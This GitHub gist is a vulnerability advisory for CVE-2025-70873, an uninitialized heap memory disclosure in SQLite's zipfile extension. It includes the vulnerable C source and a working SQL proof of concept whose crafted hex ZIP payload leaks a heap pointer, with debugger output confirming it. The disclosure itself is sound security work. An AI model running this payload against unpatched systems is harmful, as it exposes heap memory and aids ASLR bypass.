Skip to content

Instantly share code, notes, and snippets.

@cnwangjihe
Last active March 11, 2026 16:43
Show Gist options
  • Select an option

  • Save cnwangjihe/f496393f30f5ecec5b18c8f5ab072054 to your computer and use it in GitHub Desktop.

Select an option

Save cnwangjihe/f496393f30f5ecec5b18c8f5ab072054 to your computer and use it in GitHub Desktop.

CVE-2025-70873: SQLite zipfile extension may disclose uninitialized heap memory during inflation

Summary

A logic issue in SQLite's zipfile extension can return a BLOB whose tail contains uninitialized heap bytes, potentially disclosing sensitive data on heap.

Affected Product

Description

When the zipfile extension inflates (decompresses) ZIP file content, it allocates an output buffer using sqlite3_malloc(nOut) where nOut is derived from the untrusted ZIP Central Directory value szUncompressed. It then calls zlib inflate() to decompress into that buffer. However, the final BLOB size returned to SQLite is set to nOut (expected output size) rather than the actual number of bytes produced by inflate() (which can be computed from str.avail_out).

If a crafted ZIP file supplies a szUncompressed value that is larger than the actual decompressed output, the returned BLOB includes extra bytes from the tail of the heap buffer. Because the heap buffer is not initialized before inflation, this tail can contain uninitialized heap data, resulting in information disclosure (e.g., leaked heap pointers). Such leaks may assist in bypassing ASLR or in exploitation of other memory corruption vulnerabilities.

Attack Vector / Preconditions

  • Attacker must be able to cause SQLite to load and process an untrusted ZIP file input via the zipfile extension (e.g., using the zipfile() virtual table/functionality).
  • The zipfile extension is commonly enabled by default in the SQLite CLI but may not be enabled in all library builds unless compiled/loaded.

Impact

  • Information disclosure: uninitialized heap bytes may be returned to the SQL layer as a BLOB.
  • Practical impact depends on usage context; can leak memory addresses and other sensitive heap remnants.

Problem Type

  • Uninitialized memory disclosure / returning uninitialized heap data
  • CWE: CWE-908 (Use of Uninitialized Resource) or CWE-200 (Exposure of Sensitive Information)

Technical Details

  • File: sqlite/ext/misc/zipfile.c
  • Commit tested: 989e8933920fb0c66361b97519cb4fac7fdb4d6f

When zipfileInflate performs decompression, it allocates heap memory using sqlite3_malloc. The size of this allocation is determined by szUncompressed from the CDS of the provided ZIP file. Then it calls inflate to decompress the data. However, the final size of the output blob is set directly to szUncompressed. It does not calculate the actual size of the decompressed data using str.avail_out.

Since the input ZIP file is untrusted, the szUncompressed value might be larger than the actual size of the data after inflation. Because the allocated aRes heap memory is not initialized, this mismatch can result in the leakage of uncleaned sensitive data from the heap. For example, it could leak various memory addresses which might be used to bypass ASLR or assist in exploiting other memory corruption vulnerabilities.

/* sqlite/ext/misc/zipfile.c, commit 989e8933920fb0c66361b97519cb4fac7fdb4d6f */
985 | static void zipfileInflate(
986 |   sqlite3_context *pCtx,          /* Store result here */
987 |   const u8 *aIn,                  /* Compressed data */
988 |   int nIn,                        /* Size of buffer aIn[] in bytes */
989 |   int nOut                        /* Expected output size */
990 | ){
991 |   u8 *aRes = sqlite3_malloc(nOut);
992 |   if( aRes==0 ){
993 |     sqlite3_result_error_nomem(pCtx);
994 |   }else{
995 |     int err;
996 |     z_stream str;
997 |     memset(&str, 0, sizeof(str));
998 | 
999 |     str.next_in = (Byte*)aIn;
1000 |     str.avail_in = nIn;
1001 |     str.next_out = (Byte*)aRes;
1002 |     str.avail_out = nOut;
1003 | 
1004 |     err = inflateInit2(&str, -15);
1005 |     if( err!=Z_OK ){
1006 |       zipfileCtxErrorMsg(pCtx, "inflateInit2() failed (%d)", err);
1007 |     }else{
1008 |       err = inflate(&str, Z_NO_FLUSH);
1009 |       if( err!=Z_STREAM_END ){
1010 |         zipfileCtxErrorMsg(pCtx, "inflate() failed (%d)", err);
1011 |       }else{
          /* ISSUE HERE: 
             The blob size is set to nOut (szUncompressed) regardless of how many bytes were actually inflated.
             If nOut > actual_inflated_size, the tail of aRes contains uninitialized heap data.
          */
1012 |         sqlite3_result_blob(pCtx, aRes, nOut, zipfileFree);
1013 |         aRes = 0;
1014 |       }
1015 |     }
1016 |     sqlite3_free(aRes);
1017 |     inflateEnd(&str);
1018 |   }
1019 | }

1076 | static int zipfileColumn(
1080 | ){
1081 |   ZipfileCsr *pCsr = (ZipfileCsr*)cur;
1082 |   ZipfileCDS *pCDS = &pCsr->pCurrent->cds;
1083 |   int rc = SQLITE_OK;
1084 |   switch( i ){
1105 |     case 5: { /* data */
1106 |       if( i==4 || pCDS->iCompression==0 || pCDS->iCompression==8 ){
1107 |         int sz = pCDS->szCompressed;
1108 |         int szFinal = pCDS->szUncompressed;
1109 |         if( szFinal>0 ){
1128 |           if( rc==SQLITE_OK ){
1129 |             if( i==5 && pCDS->iCompression ){
1130 |               zipfileInflate(ctx, aBuf, sz, szFinal);

Proof of Concept

The following SQL demonstrates leakage of a heap pointer from the returned data BLOB when a crafted ZIP payload is processed. The test below was performed on commit 989e893:

SQLite version 3.52.0 2025-12-05 19:45:43
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> select replace(hex(zeroblob(10000)), '00', x'1111111111111111');select hex(data) from zipfile(x'504b03041400000008002ea1865ba0f6a1c4060000001100000001001c00315554090003f71c3469e61c346975780b000104e803000004e80300004b4c44055c00504b01021e031400000008002ea1865ba0f6a1c40600000000080000010018000000000001000000b48100000000315554050003f71c346975780b000104e803000004e8030000504b0506000000000100010047000000410000000000');
┌──────────────────────────────────────────────────────────────────────────────────┐
│             replace(hex(zeroblob(10000)), '00', x'1111111111111111')             │
├──────────────────────────────────────────────────────────────────────────────────┤
│unistr('\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\ 
│u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\ 
│u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\ 
│u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u00...                │
└──────────────────────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────────────────────┐
│                                    hex(data)                                     │
├──────────────────────────────────────────────────────────────────────────────────┤
'616161616161616161616161616161610A072FBFE9550000111111111111111111111111111111111│
│1111111111111111111111111111111111111111111111111111111111111111111111111111111111│
│1111111111111111111111111111111111111111111111111111111111111111111111111111111111│
│111111111111111111111111111111111111111111111111111111...                         │
└──────────────────────────────────────────────────────────────────────────────────┘
sqlite>

pwndbg> vmmap 0x000055e9bf2f070a
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x55e9a3bba000     0x55e9a3bbb000 rw-p     1000      0 [anon_55e9a3bba]
►   0x55e9bf271000     0x55e9bf303000 rw-p    92000      0 [heap] +0x7f70a
    0x7fafbae65000     0x7fafbb14e000 r--p   2e9000      0 /usr/lib/locale/locale-archive

Timeline

  • Reported: 2025-12-06
  • Fixed version released: 2026-01-09

Credit

  • Reported by: cnwangjihe
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment